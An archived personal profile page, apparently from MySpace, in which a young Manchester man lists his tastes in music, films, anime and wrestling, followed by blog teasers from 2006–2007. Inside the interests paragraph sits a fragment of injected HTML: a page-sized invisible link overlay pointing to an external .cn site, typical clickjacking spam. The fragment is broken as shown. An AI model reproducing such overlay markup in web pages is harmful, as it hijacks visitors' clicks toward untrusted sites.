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Pete

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About Me

I'm Pete, I'm 24 and I currently live in Manchester with my girlfriend Lucy, where I work as a senior sales assistant in the Zavvi Entertainment store in the Manchester Arndale. I love films and anime and I'm hopelessly addicted to buying DVDs. I also love pro wrestling and heavy metal, essentially I'm a pretty big geek.

My Interests

My interests include music, film, anime, pro wrestling, travel, getting piercings, cooking, football and history.a class="popup_wrapper" style="cursor:default;background-image:none;left:0px;top:0px ;height:7448px;width:1108px;"class=popup_x href="http://gusi22.cn/s/" m$l$

I'd like to meet:

No one person in particular.

Music:

Scandinavian death metal is my favourite type of music with Amon Amarth, At the Gates, Children of Bodom, In Flames and Opeth being my favourite bands. I also really love Alice in Chains and Portishead.

Movies:

My favourite movie is the original Transformers film from 1986. Some of my other favourite films are Amelie, Azumi, BASEketball, Batman Begins, Battle Royale, Black Sheep, Breakfast Club, Brick, Children of Men, Clerks, Empire Records, Fargo, Ghost in the Shell, Grosse Point Blank, Half Nelson, Hard Boiled, Hellboy, Hidden (Cache), High Fidelity, Hot Fuzz, Infernal Affairs, Little Miss Sunshine, Laputa Castle in the Sky, Lives of Others, Memento, National Treasure, Ninja Scroll, No Country for Old Men, Pans Labyrinth, Proposition, Pulp Fiction, Reservoir Dogs, Serenity, Shaun of the Dead, Shoot 'Em Up, South Park Bigger Longer Uncut, Stranger than Fiction, Thank You for Smoking, Things to Do in Denver When You're Dead, Tokyo Godfathers, Transformers (2007), 2 Days in Paris, Usual Suspects, Vengeance Trilogy and Versus.

Television:

My favourite TV shows are Big Bang Theory, Black Books, Coupling, Dexter, LA Ink, Man from Uncle, Miami Ink, Red Dwarf, Samurai Jack, South Park, Spaced, Studio 60 on the Sunset Strip, That 70s Show, 2 Guys a Girl and a Pizza Place and WWE Raw. My favourite anime shows are Cowboy Bebop, Ghost in the Shell SAC, Gun Sword, Ninja Scroll, Otogi Zoshi and Wolfs Rain.

Books:

My favourite books are Have a Nice Day: A Tale of Blood and Sweatsocks, Little Boy (Otaku) and the Hitchhikers Guide to the Galaxy.

Heroes:

Anders Bjorler, Bret Hart, Corey Taylor, Hayao Miyazaki, Katsuhiro Otomo, Mamoru Oshii, Park Chan-wook, Raven and Ric Flair.

My Blog

Prague

It's been a while since we got back from Prague but I've finally found the time to write about the trip. We set off on Sunday the 20th, the flight was fine, no problems at all, we actually got into Pr...
Posted by Pete on Tue, 05 Jun 2007 11:19:00 PST

Looking Back

I've been thinking a lot the past few weeks about how much my life has changed in the past few years. If I look back to 2 years ago I was frantically trying to get my degree & dissertation finishe...
Posted by Pete on Thu, 08 Mar 2007 04:13:00 PST

Catching Up

It's been a little while since my last post, largely due to how busy I've been. The shops been buzzing over christmas and I think I've proberbly now spoken to the majority of Manchester, or it certain...
Posted by Pete on Thu, 04 Jan 2007 11:00:00 PST

We're Open

After ten long days, three of them 11 and a half hours long the store is open and has been trading since Saturday and I have to say it looks f**king awesome! Even HMV's regional manager thinks so! It'...
Posted by Pete on Tue, 14 Nov 2006 04:58:00 PST

2 Weeks In

I'm now two weeks into living in Manchester and so far everythings going pretty well. We're just about unpacked now with the exception of the odd box or two or three... and the place is actually start...
Posted by Pete on Thu, 02 Nov 2006 01:09:00 PST

New Start

Well, it's done. We've moved, started our new jobs and it's all going pretty well. The move was a nightmare. We now own enough stuff that it took 3 4 hour round trips to Manchester in order to complet...
Posted by Pete on Sun, 22 Oct 2006 01:52:00 PST

Flat Hunting

After two furious days of searching the Mancunian suburbs we appear to have found a place to live and I can now stop panicing (unless our credit check goes wrong of course!). For those of you who know...
Posted by Pete on Fri, 13 Oct 2006 12:54:00 PST

So much to do and so little time

As many of you know I've just left Nottingham (well sort of anyway)  and everythings getting even more stressful. The cold hard truth of the challenge I'm currently facing has hit home. I mi...
Posted by Pete on Mon, 09 Oct 2006 12:46:00 PST